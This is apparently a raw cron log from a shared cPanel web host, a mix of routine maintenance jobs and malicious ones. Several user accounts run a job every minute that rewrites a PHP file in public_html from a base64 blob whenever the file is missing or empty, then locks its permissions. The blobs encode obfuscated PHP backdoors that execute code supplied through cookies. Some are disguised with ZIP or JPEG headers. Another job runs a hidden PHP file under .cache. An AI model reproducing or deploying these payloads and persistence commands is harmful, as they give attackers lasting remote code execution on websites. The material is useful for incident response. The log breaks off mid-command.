Mar  1 13:36:01 medusa CROND[1968]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:36:01 medusa CROND[1962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:37:02 medusa CROND[26798]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:37:02 medusa CROND[26799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:37:02 medusa CROND[26800]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:37:02 medusa CROND[26802]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:37:02 medusa CROND[26803]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:37:02 medusa CROND[26801]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:37:02 medusa CROND[26805]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:37:02 medusa CROND[26808]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:37:02 medusa CROND[26809]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:37:02 medusa CROND[26812]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:37:02 medusa CROND[26813]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:37:02 medusa CROND[26814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:37:02 medusa CROND[26815]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:38:01 medusa CROND[18629]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:38:01 medusa CROND[18630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:38:01 medusa CROND[18631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:38:01 medusa CROND[18632]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:38:01 medusa CROND[18633]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:38:01 medusa CROND[18634]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:38:01 medusa CROND[18636]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:38:01 medusa CROND[18637]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:38:01 medusa CROND[18645]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:38:01 medusa CROND[18644]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:38:01 medusa CROND[18648]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:38:01 medusa CROND[18649]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:38:01 medusa CROND[18650]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; 